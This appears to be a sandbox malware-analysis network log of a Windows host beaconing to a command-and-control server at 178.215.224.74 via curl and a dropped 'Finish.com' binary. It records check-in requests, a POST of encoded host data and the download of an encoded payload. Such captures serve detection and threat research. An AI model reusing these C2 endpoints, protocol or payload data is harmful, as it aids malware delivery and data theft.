Nov 24, 2024 12:05:08.067051888 CET	448	IN	Data Raw: 6d 31 61 4b 57 63 7a 54 46 68 42 56 55 52 4a 59 57 6b 37 4f 45 42 49 59 57 31 48 51 7a 4a 57 55 6c 4d 33 54 6c 56 6e 61 6d 74 49 62 58 68 46 51 55 6c 75 62 53 74 49 56 56 46 50 54 54 45 30 63 57 41 77 5a 58 6f 31 65 48 46 55 4e 45 35 7a 55 6b 4e Data Ascii: m1aKWczTFhBVURJYWk7OEBIYW1HQzJWUlM3TlVnamtIbXhFQUlubStIVVFPTTE0cWAwZXo1eHFUNE5zUkNLQ0A+Q21qbVFSNThMWUNsSElaZElpN2l6UGZhc2hoY25wRXMwVmRyMT1zZkpEa3JKUGEzNTMtSHllY2FcVUxEPWZDSnIxW1NRTlgrayNBUXZZLWhEWkJ1MlZBbkNWcEw2RWRtVDFYTitMYlAwZEloaWcycjhGS3Rl
Nov 24, 2024 12:05:08.067086935 CET	1236	IN	Data Raw: 44 4a 47 63 6c 46 6a 62 45 38 78 51 30 6c 54 64 6a 64 6e 54 6a 4e 36 4d 55 46 42 64 58 52 75 51 30 31 41 53 7a 6b 77 51 6b 42 7a 4c 55 52 47 62 55 68 75 56 6c 64 52 58 6d 35 69 53 45 6c 42 62 57 46 52 55 69 31 42 61 46 4e 4d 62 32 68 63 4d 45 55 Data Ascii: DJGclFjbE8xQ0lTdjdnTjN6MUFBdXRuQ01ASzkwQkBzLURGbUhuVldRXm5iSElBbWFRUi1BaFNMb2hcMEUyVEl5QXVpUC9XcExuaDBjTnFXUVRyZlZXbVBSN2VTeFBvaDRENUYteVdvSEApZ2hgem1lMTdDN0xXczIycmR0MWdONVZMelo4V083YUNHTTtXTEZGV3JqTGxDKVpPVEdicVVQcWdGa0k1T3F6QGRqPVF0emhbdlpX
Nov 24, 2024 12:05:08.067137003 CET	1236	IN	Data Raw: 55 56 79 54 32 5a 41 56 33 4a 36 4e 48 5a 4f 4d 33 52 4e 5a 44 70 30 55 6e 46 76 5a 6c 4e 6e 4e 33 46 58 51 7a 68 39 64 56 68 36 52 6c 46 4a 65 56 5a 79 5a 6a 5a 45 64 47 35 72 4e 31 52 6d 55 6d 6c 52 57 6d 74 4f 55 54 52 38 53 6a 52 4e 63 43 74 Data Ascii: UVyT2ZAV3J6NHZOM3RNZDp0UnFvZlNnN3FXQzh9dVh6RlFJeVZyZjZEdG5rN1RmUmlRWmtOUTR8SjRNcCt7WHJUZWhwNHZtNndbSTthdkJIa2xQOkVTeHNkU2NqYVhqaClaaGVFWTBpZDYvOWNHcHN3SjFKeE93PVJDemdNSkcwYztpSm5IRWxBa3swT3BDRylLRjZ2aHNUR3lEJ2U1QE1kNSt1TnprS31BQWREWm9yVng1M1Fm
Nov 24, 2024 12:05:08.067174911 CET	1236	IN	Data Raw: 7a 4a 6f 51 31 4a 44 4e 46 45 33 55 32 31 55 56 58 4a 4f 55 57 4e 73 52 6a 5a 77 56 55 4a 74 53 7a 67 78 57 6c 46 71 54 54 51 32 56 31 46 44 65 45 38 7a 54 44 5a 61 64 32 6c 79 51 32 78 48 62 6c 68 42 52 6b 70 4f 53 69 6c 76 4e 6d 78 69 51 56 67 Data Ascii: zJoQ1JDNFE3U21UVXJOUWNsRjZwVUJtSzgxWlFqTTQ2V1FDeE8zTDZad2lyQ2xHblhBRkpOSilvNmxiQVg5WnJsUEMxL1FHNjNbZEpRWUdQSktyaW10U2RZM1VwdjBPYUtBMDg0ZkNWWk1PemtGLzx6QUlXaEB2RjtyNzB8cnJOVUpUZG1oVU5YXWROSlZJTVhLezdzNHU2fENtSVFpMEtmVWZNV0dESUpCd0w6YVdFdGNsUWAt
Nov 24, 2024 12:05:08.067209005 CET	1236	IN	Data Raw: 45 46 77 63 44 70 59 56 6d 6c 58 55 45 59 78 52 7a 6c 49 53 6e 6c 74 52 54 56 37 51 57 68 58 63 6a 70 74 62 32 51 33 63 57 39 73 57 7a 68 51 53 6b 46 7a 65 6c 56 51 62 7a 67 74 54 45 74 6f 4d 44 46 53 52 54 42 43 5a 56 6c 47 59 32 4a 58 64 46 5a Data Ascii: EFwcDpYVmlXUEYxRzlISnltRTV7QWhXcjptb2Q3cW9sWzhQSkFzelVQbzgtTEtoMDFSRTBCZVlGY2JXdFZ1V1d4dkxJNHtAeldhSGlbMEY5bHpTRHBrMjBrSXtIM24+MlN6VjVaMkRLeG5ZTWhzcWZRM3c3eEdQT0NhdXdLZFUzNUZVOm9kM3ZDbmJUTlJpRXFoSExoaURKVzQ1cEdea3NDS0hTYjhpaGpWX1ZJNDYxRTI3SlVr
Nov 24, 2024 12:05:08.067245007 CET	1236	IN	Data Raw: 56 68 56 52 57 46 5a 53 31 49 7a 61 30 4a 4d 51 46 42 4c 56 6a 46 4e 54 33 68 74 55 48 4a 35 55 55 5a 4d 54 32 67 32 54 47 74 6c 64 6c 46 4e 51 33 46 79 52 47 46 46 55 55 52 4c 62 6d 31 75 52 54 42 6a 57 6a 56 4c 55 45 74 51 4b 58 6f 77 5a 6a 4a Data Ascii: VhVRWFZS1Iza0JMQFBLVjFNT3htUHJ5UUZMT2g2TGtldlFNQ3FyRGFFUURLbm1uRTBjWjVLUEtQKXowZjJWQVwxc1dxSFlVS25ZdG4wYVdmUjRqcWtsVDJtRkpRcEBWNm5ZSFRRY05mUVVOdFU8RElLTmtpTjVYM09tREliantgKXprbVcybERLTlBOUEtTbUdBYVM2aTd2YUJcekctaElJVzZuezNlalVMOUspPmp1TDlbdk9Z
Nov 24, 2024 12:05:08.067276955 CET	1236	IN	Data Raw: 6e 52 45 65 6e 52 51 53 33 4e 42 4d 6d 70 6c 61 47 78 59 51 55 56 76 59 6b 6c 62 4d 31 70 57 57 6c 59 7a 54 69 31 57 51 6b 42 77 51 6e 4a 70 63 54 5a 46 4d 32 67 33 63 31 70 44 52 47 35 55 5a 45 45 32 4e 45 4a 4b 56 7a 6c 46 51 79 31 79 59 58 5a Data Ascii: nREenRQS3NBMmplaGxYQUVvYklbM1pWWlYzTi1WQkBwQnJpcTZFM2g3c1pDRG5UZEE2NEJKVzlFQy1yYXZIcUlob2RjMjpNRGhmUXhQV2NDUmZyZnU4VGhjaEpuaCtBfk9LWEo0bzhORnJvVnt1Lzc0bENFYzBFd3JTY0svQTJTVW5zMzBlRkx1SThRd3JBbkNQZnZrYWlBVVNSZElOTG4/YUxPbnl0VUluM2Z5dmJIV1hpK3ZR
Nov 24, 2024 12:05:08.067329884 CET	1236	IN	Data Raw: 6d 52 75 55 48 49 32 61 6c 5a 33 54 6b 31 6c 4e 30 70 43 55 6a 56 6f 56 7a 46 32 55 54 4d 7a 56 32 4a 44 62 58 64 6e 63 57 52 61 64 44 4e 59 4d 46 74 6a 52 6a 6c 32 54 6a 46 6c 55 7a 64 4e 51 58 5a 6a 57 6d 52 56 63 6e 70 58 4e 56 56 51 53 48 4d Data Ascii: mRuUHI2alZ3Tk1lN0pCUjVoVzF2UTMzV2JDbXdncWRadDNYMFtjRjl2TjFlUzdNQXZjWmRVcnpXNVVQSHM6MkkxXVVyVHJkRy9nQWlHZmxNc21xTkJXV3RXS1thf1lhSzRQU087MXpHW3puY3FYd05TQjVBSmFeVEhpQEhUZDd7J29xY3pHTDFTVTZUcV9FSDdJW2llVlFza2N6WG1LWjZOdEZIdXhoVzdrbGJWZ2UjaU5pUkdp
Nov 24, 2024 12:05:08.187191010 CET	1236	IN	Data Raw: 30 68 55 62 57 35 4f 5a 54 55 36 4f 55 6c 68 4c 58 4a 55 54 55 5a 35 59 33 5a 6b 53 6e 4a 53 51 69 73 37 55 6d 38 7a 57 44 74 36 4d 48 34 78 63 57 68 54 4f 6d 74 7a 4f 47 68 72 65 6b 78 66 4b 57 5a 49 53 32 56 79 4f 45 68 37 51 58 42 61 52 6a 56 Data Ascii: 0hUbW5OZTU6OUlhLXJUTUZ5Y3ZkSnJSQis7Um8zWDt6MH4xcWhTOmtzOGhrekxfKWZIS2VyOEh7QXBaRjV9UlVIMGlyVHQ6Z3dQRXNQK250OXJuNH16MngwTnt2bkNIVjZ6aUNxbm1BRnFmZTQwcHpLb0VbQ2dGbC8xNjVpf1hMUk9QVWNvbkxWdlZIT0FObD1EVFVwdk45S3dtRTNMQ1dxfzpxRVVRZ1hRQjhUdls7MXFpWE1O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49844	178.215.224.74	80	3996	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:12.612354040 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:13.912841082 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:13 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49847	178.215.224.74	80	4524	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:14.195046902 CET	98	OUT	GET /v10/ukyh.php?jspo=31 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:15.569015026 CET	230	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:15 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 30 Content-Type: text/html; charset=UTF-8 Data Raw: 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 Data Ascii: 4CA966315CCC70F4BEF0FE322EDE46

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49858	178.215.224.74	80	3224	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:18.993318081 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:20.258131981 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:20 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49864	178.215.224.74	80	5544	C:\Users\user\AppData\Local\Temp\768032\Finish.com

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:20.596874952 CET	933	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 639 Cache-Control: no-cache Data Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 41 77 4b 44 6b 79 4d 6a 45 38 4b 45 45 79 58 46 64 78 5a 33 42 78 58 6d 46 75 62 6d 64 73 63 56 78 44 63 48 42 45 59 58 52 68 58 6c 70 74 59 57 31 70 62 47 56 63 52 47 31 73 63 47 68 72 62 6b 78 31 62 33 4a 7a 58 44 41 35 4d 44 49 79 52 54 41 79 4c 7a 42 44 4d 44 49 6c 4e 6a 55 78 4f 79 38 30 4f 30 49 37 57 55 4a 66 4d 7a 49 77 4b 44 6b 34 4d 6a 73 7a 4b 48 64 70 62 6d 52 76 64 33 45 6f 5a 6d 56 6d 5a 57 78 6d 5a 58 4a 5a 51 46 30 78 4d 6a 41 69 4d 54 49 79 4d 54 41 6f 4d 54 55 36 4c 44 49 7a 4e 79 77 79 4d 6a 51 73 4f 6a 63 79 57 30 68 66 4d 7a 67 77 4b 44 4d 79 4d 6a 4d 77 4b 6a 4d 25 32 46 4d 43 77 77 4d 54 63 75 4d 6a 49 30 4c 6a 63 32 55 30 4a 64 4d 54 41 79 4b 44 45 77 4d 6a 45 78 4b 6a 4d 33 4d 43 34 77 4d 7a 55 75 4d 44 49 32 4c 44 55 30 57 55 4a 66 4d 69 6f 79 4d 6a 30 6f 51 7a 70 55 56 33 46 74 63 6e 46 65 59 32 35 6b 62 57 35 78 56 45 6c [TRUNCATED] Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTAwKDkyMjE8KEEyXFdxZ3BxXmFubmdscVxDcHBEYXRhXlptYW1pbGVcRG1scGhrbkx1b3JzXDA5MDIyRTAyLzBDMDIlNjUxOy80O0I7WUJfMzIwKDk4MjszKHdpbmRvd3EoZmVmZWxmZXJZQF0xMjAiMTIyMTAoMTU6LDIzNywyMjQsOjcyW0hfMzgwKDMyMjMwKjM%2FMCwwMTcuMjI0Ljc2U0JdMTAyKDEwMjExKjM3MC4wMzUuMDI2LDU0WUJfMioyMj0oQzpUV3FtcnFeY25kbW5xVElyckRjdGFcUm9hb2FsZ1xEbW5waGtuRHVvcHtcY3h2dyxlemdZQF8zMjAqMTI4MzEqOTU6JjIzNywwMDYuNTxTQl8yKDIwNSpDOl5dcWVyc15jbGZtbnNcQ3B4RGN2YVxQb2Nva25lXkZvbHBqYWxEdWVycVR4anVzLHhrcFlIVTMyMCgxMDEyMypBMl5Vc2VwcVxhbmZvbnFcSXByRmF0Y1xQbWNta2xlXERvbnhqaW5Md294c156anVzLHpreFNCXzEyMCoxMDAxMyIzNzguMDM1LjAyNC41NFNAXw%3D%3D
Nov 24, 2024 12:05:21.959080935 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:21 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49870	178.215.224.74	80	1496	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:22.781749964 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:24.092103958 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:23 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49874	178.215.224.74	80	4276	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:24.421266079 CET	97	OUT	GET /v10/ukyh.php?jspo=7 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:25.734803915 CET	299	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:25 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Content-Length: 76 Content-Type: text/html; charset=UTF-8 Data Raw: 57 30 42 64 57 55 68 66 57 30 42 56 57 55 4a 56 5a 6d 4e 75 63 57 64 5a 51 6c 31 6b 61 57 52 78 5a 31 74 43 58 56 4a 6c 64 6d 56 75 64 32 31 47 5a 58 5a 70 59 57 64 7a 4c 6d 64 34 5a 53 6f 7a 57 30 68 64 4d 7a 49 71 57 30 4a 64 Data Ascii: W0BdWUhfW0BVWUJVZmNucWdZQl1kaWRxZ1tCXVJldmVud21GZXZpYWdzLmd4ZSozW0hdMzIqW0Jd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49879	178.215.224.74	80	6604	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:26.022053003 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:27.335227013 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:27 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49883	178.215.224.74	80	6976	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:27.643054008 CET	105	OUT	GET /v10/ukyh.php?jspo=10&melq=1 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:29.005273104 CET	328	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:28 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Content-Length: 104 Content-Type: text/html; charset=UTF-8 Data Raw: 55 6d 56 32 5a 32 5a 33 5a 55 52 74 64 47 74 72 5a 58 45 73 5a 33 70 6e 4b 46 4a 6e 66 6d 31 73 64 32 56 47 5a 58 5a 70 59 32 56 7a 4c 47 31 36 5a 53 6f 32 4b 44 4d 71 4b 6d 41 30 4f 44 64 67 4e 57 6f 31 4d 7a 59 7a 4e 6d 41 30 4d 44 63 31 4e 6d 59 30 4d 6d 45 78 5a 6d 63 39 4f 6d 59 34 4f 7a 73 37 49 6a 41 3d Data Ascii: UmV2Z2Z3ZURtdGtrZXEsZ3pnKFJnfm1sd2VGZXZpY2VzLG16ZSo2KDMqKmA0ODdgNWo1MzYzNmA0MDc1NmY0MmExZmc9OmY4Ozs7IjA=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49887	178.215.224.74	80	6160	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:29.312491894 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:30.639029026 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:30 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49893	178.215.224.74	80	1848	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:30.973300934 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:32.305784941 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:32 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49899	178.215.224.74	80	5560	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:33.250124931 CET	128	OUT	GET /v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:34.878098965 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:34 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 66 33 66 65 63 0d 0a 56 46 5a 78 55 30 6c 44 54 55 46 4a 51 30 4e 4e 51 55 4e 44 51 79 30 74 4f 6b 46 44 52 47 39 44 51 30 46 44 51 55 46 42 51 55 46 52 51 30 6c 44 51 55 46 42 51 30 4e 42 51 55 4e 42 51 55 46 44 51 55 6c 42 51 30 4e 42 51 55 4e 42 51 30 4e 44 51 55 4e 44 51 30 46 42 51 55 4e 4a 51 30 46 42 53 55 4e 44 53 55 46 44 51 30 4d 79 51 30 4e 42 51 30 6b 38 5a 48 64 6e 4e 6b 46 30 51 57 35 4f 53 57 42 76 51 46 52 4e 4d 47 70 55 52 32 68 79 59 33 6c 43 64 57 4e 6c 4f 57 78 68 62 55 5a 32 53 55 56 4d 61 6d 4a 76 4e 33 52 6b 51 30 4a 72 55 6c 46 43 65 57 78 56 4e 6d 39 68 56 54 5a 6c 55 45 63 37 56 45 74 50 4f 58 52 59 52 31 64 31 52 46 45 77 53 30 70 44 53 55 4e 42 51 55 46 44 51 30 46 43 51 47 55 35 52 6e 42 43 57 6e 45 74 54 55 46 56 59 33 5a 34 5a 55 52 48 63 44 6f 32 52 45 64 4a 4f 6b 64 44 57 57 46 2b 65 47 56 46 57 57 74 31 4e 6b 52 41 63 79 39 4e 53 56 31 6a 64 47 70 72 63 45 64 79 4f 44 52 49 62 57 74 55 54 30 46 72 59 33 52 36 5a 32 64 6f 65 56 55 32 51 6b 70 78 4c 55 31 43 4e 6b [TRUNCATED] Data Ascii: 1f3fecVFZxU0lDTUFJQ0NNQUNDQy0tOkFDRG9DQ0FDQUFBQUFRQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0MyQ0NBQ0k8ZHdnNkF0QW5OSWBvQFRNMGpUR2hyY3lCdWNlOWxhbUZ2SUVMamJvN3RkQ0JrUlFCeWxVNm9hVTZlUEc7VEtPOXRYR1d1RFEwS0pDSUNBQUFDQ0FCQGU5RnBCWnEtTUFVY3Z4ZURHcDo2REdJOkdDWWF+eGVFWWt1NkRAcy9NSV1jdGprcEdyODRIbWtUT0FrY3R6Z2doeVU2QkpxLU1CNkpJaGVHR3A6NlVtbGhpQ1VhfnhlSUFDQ0NDQ0NBQ05KRENBQE1BUVlBMndCSlR3QUNDQUFDQUFBQzRJQUFDUXNAQ2VDQ2JlQ0NBRllKSUNCQ0lDQUxPQ0NDQ0BDQUNJS0NDQUNBQUVBQUFASUNBQUFBQ0FBREFBQUNCb0FDQ0FVQ0FDQ0NBQ0NDQVBBUklDQUVJQ0Z8Z0BLQ0NlQEFqWUlDR0FDQUVBQUFBQ0lTQUFBU0NBQUNBQUFDRUlBQ0NBQUNBQ0NDQUNDQ05Kc0NJTlFBSUNDSVFDOkNhckdBQ0lJQ0NBQ0FBQUFBakpFUEFHZ21DQUFDb0FjQ1pJa0NDQUFDQUNDQ0FDQ0NBQUFDSUNBQUlDQ0lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDSUNBQUFDQ0FBQ0FBQUNBSUFDQ0FDQ0FDRlNBZUNDQUFBQ0lDQUFJQ0NJQUNDQ0NDQ0FDSUlDQ0FDQUFBQUFMbFpuZUhRQ0NBQ3diUUFDQUpBQ0NBQndBQ0NDQkNDQ0FBQUNJQ0FBSUNDSUFDQ0NLQ0NBW0s9e1hHRDBZUUFBWWtnQ0FBQ0NDQUFDTEFBQ0FASUNDQUFDQUNDQ0FDQ0NBQUFDSUdBQUlHQ31aRUQyW1NDQUNEcClAZ0NBc0FBQUFDQUNBQUNnQ0FBQ
Nov 24, 2024 12:05:34.878264904 CET	1236	IN	Data Raw: 30 46 42 51 55 4e 42 53 55 46 44 51 30 46 42 51 30 46 44 51 45 4e 42 51 30 5a 44 54 47 30 31 61 56 46 61 55 6d 68 4a 51 30 4e 4a 52 55 4e 6c 51 30 4e 47 51 30 68 44 53 55 6c 44 51 30 46 44 51 55 46 42 51 55 46 42 51 30 6c 44 51 55 46 42 51 30 4e Data Ascii: 0FBQUNBSUFDQ0FBQ0FDQENBQ0ZDTG01aVFaUmhJQ0NJRUNlQ0NGQ0hDSUlDQ0FDQUFBQUFBQ0lDQUFBQ0NBQUNBQUFDZ0lBQ3VDNXtjMUhoQUNDQ2NwRUNJQ0JBTHVDSWtlQ0NDSUNBQ0lJQ0NBQ0FBQUFBQUNJQ0FFQUNDRUF3Y21WcWI6TUNDRElSQUNDQzRDOkNBQkFDSUNBNklTQ0lBQ0NDQ0NDQUNJSUNDQUBBQUFCQ0FD
Nov 24, 2024 12:05:34.878369093 CET	1236	IN	Data Raw: 6d 4e 56 55 6a 73 7a 52 6c 49 36 56 6d 39 42 51 6b 4e 44 55 44 73 78 52 6c 41 76 56 47 63 79 55 47 31 43 52 47 77 37 4e 45 45 72 54 32 4a 32 4c 79 30 76 50 45 34 70 56 56 41 35 4d 6c 70 6b 4f 7a 42 4f 55 6a 70 55 56 45 6c 43 51 30 6c 4c 62 45 5a Data Ascii: mNVUjszRlI6Vm9BQkNDUDsxRlAvVGcyUG1CRGw7NEErT2J2Ly0vPE4pVVA5MlpkOzBOUjpUVElCQ0lLbEZOS1pJZERVTmRTenFDXm5KUGVTUUFBQUF4MlBtQ0FBQ0NQOFRVSUJDQVg5MFVGZi1GVFFDUUNGLWRSU05GVGlBWUNAUC87WG1LQ2VBQ0FkREZJM0Y1RkJxLzBiQ3JVWUNULzhUbklKQ0FYOTNGRmYtMXQ7M0ZSLVZq
Nov 24, 2024 12:05:34.878408909 CET	1236	IN	Data Raw: 31 46 70 51 30 39 30 62 57 6b 77 57 6e 42 31 51 6e 64 47 51 6d 52 44 64 6c 4a 31 51 55 5a 50 51 55 59 79 55 45 52 45 62 7a 31 6c 52 30 6c 42 52 6a 45 74 4c 53 30 37 4c 32 5a 4f 58 6c 4d 30 54 47 51 76 4c 79 38 72 52 6e 64 4b 58 55 64 52 52 57 4a Data Ascii: 1FpQ090bWkwWnB1QndGQmRDdlJ1QUZPQUYyUEREbz1lR0lBRjEtLS07L2ZOXlM0TGQvLy8rRndKXUdRRWJwQDBpTnpvdnVLMEdGZENRT0FKU3RBU1VxclVZQ2llRC9GY1F8UmVAbU9KV0FDWDAzcEszR0FQOFZVS05DQUZCbUNnUUNBUDkySkpqLURZaUFRQ0FEOWxvV004Qmd/ZWdBfVItJy8xLXA7W3ZFSElbTkZkdXRSd0Jx
Nov 24, 2024 12:05:34.878443956 CET	1236	IN	Data Raw: 6c 70 47 4a 31 5a 76 61 30 4e 6f 4d 6b 4e 42 4e 45 77 78 54 30 4e 42 51 46 70 58 56 6b 35 58 4e 6b 5a 4d 4f 79 38 76 4c 33 4a 6b 51 6d 39 44 51 55 5a 51 62 54 56 59 4d 79 30 74 4d 55 4a 74 57 55 73 37 51 30 46 4e 5a 57 56 55 51 55 46 44 58 31 52 Data Ascii: lpGJ1Zva0NoMkNBNEwxT0NBQFpXVk5XNkZMOy8vL3JkQm9DQUZQbTVYMy0tMUJtWUs7Q0FNZWVUQUFDX1RsVCcxWl02TVM2Q0NGcFdKZ0NDRFJKNkt6OS8tI044RlptVkk5Q0FPajpTf0FDVVZtRi9lRC1BeFIwUmxiLU5beUFZQ0Z4SmptQ0NFZXdoOElDNE56TEFBQlovMVAyL3hWQ2VrQUM2UTBjQUlDTnVqbGYzSlduaXV7
Nov 24, 2024 12:05:34.878484964 CET	1236	IN	Data Raw: 32 70 6a 51 6a 4a 45 52 32 70 54 4f 45 31 42 51 32 4e 31 55 48 4a 68 4c 54 45 74 4c 33 68 75 5a 6a 4e 49 55 57 78 65 64 32 6c 7a 57 31 4e 44 53 57 68 68 51 44 4a 4b 5a 44 73 78 51 55 35 71 62 55 39 73 54 30 46 42 52 32 70 52 4f 45 64 4a 51 32 46 Data Ascii: 2pjQjJER2pTOE1BQ2N1UHJhLTEtL3huZjNIUWxed2lzW1NDSWhhQDJKZDsxQU5qbU9sT0FBR2pROEdJQ2F1VG1PRFlDQUZkbWNBeENDT3NMVjBqT2pHQ0N4MFg6SVNBQUlNakBTU0NDVWduSi1+Jy1XK2gwK3YvL2ktS0xSUWhTVDJnR0lBQUNWfjhUYUlCQ0FLWkNkQVFOUlFnNXBsWXBSaGlRZEFQVTRHUEpDSUk1dTNTT2c4
Nov 24, 2024 12:05:34.878520012 CET	1236	IN	Data Raw: 55 45 6e 64 54 41 34 54 47 6c 68 51 32 73 74 61 6c 64 55 4f 6d 46 50 61 32 74 44 51 54 5a 4e 62 45 64 42 51 30 74 47 65 45 46 35 52 6d 52 6c 52 43 31 6b 55 57 46 47 5a 6d 31 55 4c 57 5a 42 4b 30 78 53 5a 30 42 54 56 54 4e 47 4c 57 52 6d 61 69 31 Data Ascii: UEndTA4TGlhQ2staldUOmFPa2tDQTZNbEdBQ0tGeEF5RmRlRC1kUWFGZm1ULWZBK0xSZ0BTVTNGLWRmai1OVUNBWUNGJ2RkaC1EYHtBU0lJNSl3KU4yaFFBQUtYLS9uVVZjdWxVNk85TkFJRC1mY3hVNkNYR0FDRnBDR3J3XndqY1t1Q0lWb2tHa2lDQTRPMUVDQUBaV1dnUUFBSUNWdWhkU0FBQzZlejcvJzlWNEJENi8tKU44
